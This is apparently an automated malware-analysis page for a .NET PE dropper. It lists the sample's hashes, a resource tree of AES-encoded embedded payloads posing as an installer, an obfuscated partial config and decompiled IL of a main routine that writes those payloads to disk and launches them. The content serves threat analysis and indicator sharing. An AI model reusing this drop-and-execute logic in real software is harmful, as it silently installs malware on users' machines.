Malicious
Malicious

1e3c5aa594c8beaefb73e35b563379d7

PE Executable
MD5: 1e3c5aa594c8beaefb73e35b563379d7
Size: 28.9 MB
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 1e3c5aa594c8beaefb73e35b563379d7
Sha1 5f8e51e3cbc4530d86c2ee6cf77ccaf77e7189a2
Sha256 6aa08b6fdb70023bdd14805657a5d4e36b5733b8b4c372c95ce2ec17668a0f11
Sha384 c60576063879fba05d41cdd0279fed36e9478075cb9d098a5e86628804029f7d75be77e74309457962b242e3985b3e70
Sha512 25691a9e24e4ed8c411ed6deb3b7fffbf2f8c95bbd683b02469c8501b03521f7723e9fbf95a920296a5bbd6185cb652b5b2cb015c9d27eace0c711a37d2fa82f
SSDeep 393216:YoSBaQl1q1Y0kUBNQ1B4BoC6fcRMenFe/s9ojyhRV5eICqDVkms9o83QcmcrS:PSH1UYwPScMwYJmhR/A4kmwtmh
TLSH 5C57345CA490A7A09BC2759313DFE4CC6F903E91409C897B3CF746EB43666B4E86B364
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual C++ v6.0 DLLMicrosoft Visual Studio .NET
1e3c5aa594c8beaefb73e35b563379d7
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
Malicious
acbidjjvz.Resources
Malicious
Total_3.5754.10.5_INSTALL.exe
Malicious
Total_3.5754.10.5_INSTALL.exe [AES Decoded]
Malicious
Overlay_3508c142.bin
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.itext
.data
.bss
.idata
.didata
.edata
.tls
.rdata
.reloc
.rsrc
Resources
RT_ICON
ID:0064
ID:1033
ID:1033-preview.png
ID:0065
ID:1033
ID:1033-preview.png
ID:0066
ID:1033
ID:0067
ID:1033
ID:0068
ID:1033
ID:0069
ID:1033
ID:006A
ID:1033
ID:006B
ID:1033
ID:006C
ID:1033
ID:006D
ID:1033
RT_STRING
ID:0FF5
ID:0
ID:0FF6
ID:0
ID:0FF7
ID:0
ID:0FF8
ID:0
ID:0FF9
ID:0
ID:0FFA
ID:0
ID:0FFB
ID:0
ID:0FFC
ID:0
ID:0FFD
ID:0
ID:0FFE
ID:0
ID:0FFF
ID:0
ID:1000
ID:0
RT_RCDATA
ID:0000
ID:0
ID:2B67
ID:1033
RT_GROUP_CURSOR4
ID:0000
ID:1033
RT_VERSION
ID:0001
ID:1033
RT_MANIFEST
ID:0001
ID:1033
clp5.exe
Malicious
clp5.exe [AES Decoded]
Malicious
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rdata
.data
.pdata
_RDATA
.reloc
zx.exe
Malicious
zx.exe [AES Decoded]
Malicious
Overlay_ee768380.bin
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rdata
.data
.pdata
.fptable
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0-preview.png
ID:0005
ID:0
ID:0006
ID:0
ID:0007
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Config. Field Value
ref_elem_0x0000000E clp5.ehuhuhuhuhuhuhu
ref_elem_0x00000016 zx.exehuhuhuhuhuhuhu
ref_elem_0x0000001E Total_huhuhuhuhuhuhuhuhuhuhu
MSpdrX0hvOY65Qvik2oU5zTYNqiLUVDrdQ7AthVb52s3q2YsJUNBedJ4KDOIWeC %Thuhuhuhu
MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn -huhuhuhu
2LOP4NyFSdSZiZ4rJqsPNegppLisIZSXhFda9zdZzgaBTnZlkphx5KYBE3DLEd4 Z0Vq5huhuhuhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
Output.exe
Full Name
Output.exe
EntryPoint 
System.Void FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::buwSeW8mVbKS8Pu12b6zf3J8Y3YwUehF0DXwudeEUT7dY7jDLXNui9do2J5evuu()
Scope Name
Output.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Output
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
26
Main Method 
System.Void FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::buwSeW8mVbKS8Pu12b6zf3J8Y3YwUehF0DXwudeEUT7dY7jDLXNui9do2J5evuu()
Main IL Instruction Count
159
Main IL 
ldc.i4.1 <null>
stloc.s V_5
call System.Boolean FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::HAYyZlPHU06gXHTEL6I5ACOvuxNjtjNVuP8zBKIPYcvT01gUo4PRbytl4WnIGAn()
brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.2 <null>
stloc.s V_5
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.1 <null>
stloc.3 <null>
ldc.i4.5 <null>
stloc.s V_5
ldsfld System.Collections.Generic.List`1<System.String> FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::gzjIq9TasCtnQyaeLFdwjvwDtyYvOZ09uCmDuIb6bnbGyS9FoJqGa9HzKWumfMw
callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator()
stloc.2 <null>
br IL_0130: ldloca.s V_2
ldloca.s V_2
call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current()
stloc.0 <null>
ldc.i4.6 <null>
stloc.s V_5
ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MSpdrX0hvOY65Qvik2oU5zTYNqiLUVDrdQ7AthVb52s3q2YsJUNBedJ4KDOIWeC
call System.Object FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::dR0R8ZdGKUFdltTzhrCuhMUxE2LiBfqUQl6tuVqE9Q3flyGNyeiCXTx4iOGISsO(System.String)
ldstr \
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stloc.1 <null>
ldc.i4.7 <null>
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.2 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_00CB: ldc.i4.s 13
ldc.i4.8 <null>
stloc.s V_5
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brtrue.s IL_00C9: br.s IL_0123
ldc.i4.s 9
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::O4cof1BH407b3uwYhOk8tkXzGaugRJYoHXweU6GGbbukAfc4OtBWUfWplV7i7TX(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 10
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
br.s IL_0123: ldc.i4.s 19
ldc.i4.s 13
stloc.s V_5
ldc.i4.s 14
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::O4cof1BH407b3uwYhOk8tkXzGaugRJYoHXweU6GGbbukAfc4OtBWUfWplV7i7TX(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 15
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.1 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_0123: ldc.i4.s 19
ldc.i4.s 16
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldc.i4.s 19
stloc.s V_5
call System.Void System.GC::Collect()
ldc.i4.s 20
stloc.s V_5
ldloca.s V_2
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext()
brtrue IL_002D: ldloca.s V_2
ldloca.s V_2
constrained. System.Collections.Generic.List`1/Enumerator<System.String>
callvirt System.Void System.IDisposable::Dispose()
leave IL_01F8: ldloc.s V_4
ldloc.s V_4
br.s IL_0156: ldc.i4.0
ldloc.s V_4
ldc.i4.1 <null>
add <null>
ldc.i4.0 <null>
stloc.s V_4
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
ldloc.s V_5
stloc.s V_4
ldloc.3 <null>
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
isinst System.Exception
ldnull <null>
cgt.un <null>
ldloc.3 <null>
ldc.i4.0 <null>
cgt.un <null>
and <null>
ldloc.s V_4
ldc.i4.0 <null>
ceq <null>
and <null>
endfilter <null>
castclass System.Exception
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
leave.s IL_01B8: ldloc.s V_5
ldc.i4 -2146828237
call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32)
throw <null>
ldloc.s V_4
brfalse.s IL_0201: ret
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ret <null>
Module Name
Output.exe
Full Name
Output.exe
EntryPoint 
System.Void FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::buwSeW8mVbKS8Pu12b6zf3J8Y3YwUehF0DXwudeEUT7dY7jDLXNui9do2J5evuu()
Scope Name
Output.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Output
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
26
Main Method 
System.Void FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::buwSeW8mVbKS8Pu12b6zf3J8Y3YwUehF0DXwudeEUT7dY7jDLXNui9do2J5evuu()
Main IL Instruction Count
159
Main IL 
ldc.i4.1 <null>
stloc.s V_5
call System.Boolean FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::HAYyZlPHU06gXHTEL6I5ACOvuxNjtjNVuP8zBKIPYcvT01gUo4PRbytl4WnIGAn()
brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.2 <null>
stloc.s V_5
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.1 <null>
stloc.3 <null>
ldc.i4.5 <null>
stloc.s V_5
ldsfld System.Collections.Generic.List`1<System.String> FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::gzjIq9TasCtnQyaeLFdwjvwDtyYvOZ09uCmDuIb6bnbGyS9FoJqGa9HzKWumfMw
callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator()
stloc.2 <null>
br IL_0130: ldloca.s V_2
ldloca.s V_2
call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current()
stloc.0 <null>
ldc.i4.6 <null>
stloc.s V_5
ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MSpdrX0hvOY65Qvik2oU5zTYNqiLUVDrdQ7AthVb52s3q2YsJUNBedJ4KDOIWeC
call System.Object FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::dR0R8ZdGKUFdltTzhrCuhMUxE2LiBfqUQl6tuVqE9Q3flyGNyeiCXTx4iOGISsO(System.String)
ldstr \
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stloc.1 <null>
ldc.i4.7 <null>
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.2 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_00CB: ldc.i4.s 13
ldc.i4.8 <null>
stloc.s V_5
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brtrue.s IL_00C9: br.s IL_0123
ldc.i4.s 9
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::O4cof1BH407b3uwYhOk8tkXzGaugRJYoHXweU6GGbbukAfc4OtBWUfWplV7i7TX(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 10
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
br.s IL_0123: ldc.i4.s 19
ldc.i4.s 13
stloc.s V_5
ldc.i4.s 14
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::O4cof1BH407b3uwYhOk8tkXzGaugRJYoHXweU6GGbbukAfc4OtBWUfWplV7i7TX(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 15
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String FFOUyASocQyLq3Q44ND3db23oTgB5PzHeCzObGm0V6CS1XCFSgYOMc2WFymuJ3F::MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.1 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_0123: ldc.i4.s 19
ldc.i4.s 16
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldc.i4.s 19
stloc.s V_5
call System.Void System.GC::Collect()
ldc.i4.s 20
stloc.s V_5
ldloca.s V_2
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext()
brtrue IL_002D: ldloca.s V_2
ldloca.s V_2
constrained. System.Collections.Generic.List`1/Enumerator<System.String>
callvirt System.Void System.IDisposable::Dispose()
leave IL_01F8: ldloc.s V_4
ldloc.s V_4
br.s IL_0156: ldc.i4.0
ldloc.s V_4
ldc.i4.1 <null>
add <null>
ldc.i4.0 <null>
stloc.s V_4
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
ldloc.s V_5
stloc.s V_4
ldloc.3 <null>
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
isinst System.Exception
ldnull <null>
cgt.un <null>
ldloc.3 <null>
ldc.i4.0 <null>
cgt.un <null>
and <null>
ldloc.s V_4
ldc.i4.0 <null>
ceq <null>
and <null>
endfilter <null>
castclass System.Exception
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
leave.s IL_01B8: ldloc.s V_5
ldc.i4 -2146828237
call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32)
throw <null>
ldloc.s V_4
brfalse.s IL_0201: ret
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ret <null>
1e3c5aa594c8beaefb73e35b563379d7
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
Malicious
acbidjjvz.Resources
Malicious
Total_3.5754.10.5_INSTALL.exe
Malicious
Total_3.5754.10.5_INSTALL.exe [AES Decoded]
Malicious
Overlay_3508c142.bin
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.itext
.data
.bss
.idata
.didata
.edata
.tls
.rdata
.reloc
.rsrc
Resources
RT_ICON
ID:0064
ID:1033
ID:1033-preview.png
ID:0065
ID:1033
ID:1033-preview.png
ID:0066
ID:1033
ID:0067
ID:1033
ID:0068
ID:1033
ID:0069
ID:1033
ID:006A
ID:1033
ID:006B
ID:1033
ID:006C
ID:1033
ID:006D
ID:1033
RT_STRING
ID:0FF5
ID:0
ID:0FF6
ID:0
ID:0FF7
ID:0
ID:0FF8
ID:0
ID:0FF9
ID:0
ID:0FFA
ID:0
ID:0FFB
ID:0
ID:0FFC
ID:0
ID:0FFD
ID:0
ID:0FFE
ID:0
ID:0FFF
ID:0
ID:1000
ID:0
RT_RCDATA
ID:0000
ID:0
ID:2B67
ID:1033
RT_GROUP_CURSOR4
ID:0000
ID:1033
RT_VERSION
ID:0001
ID:1033
RT_MANIFEST
ID:0001
ID:1033
clp5.exe
Malicious
clp5.exe [AES Decoded]
Malicious
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rdata
.data
.pdata
_RDATA
.reloc
zx.exe
Malicious
zx.exe [AES Decoded]
Malicious
Overlay_ee768380.bin
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rdata
.data
.pdata
.fptable
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0-preview.png
ID:0005
ID:0
ID:0006
ID:0
ID:0007
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Config. Field Value
ref_elem_0x0000000E clp5.ehuhuhuhuhuhuhu
ref_elem_0x00000016 zx.exehuhuhuhuhuhuhu
ref_elem_0x0000001E Total_huhuhuhuhuhuhuhuhuhuhu
MSpdrX0hvOY65Qvik2oU5zTYNqiLUVDrdQ7AthVb52s3q2YsJUNBedJ4KDOIWeC %Thuhuhuhu
MaxMxcFIMoDChuF4iifDuB4ZJuc6TgjlCGTJqhjck1ThHJDVpaYa5qyC4vVItbn -huhuhuhu
2LOP4NyFSdSZiZ4rJqsPNegppLisIZSXhFda9zdZzgaBTnZlkphx5KYBE3DLEd4 Z0Vq5huhuhuhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙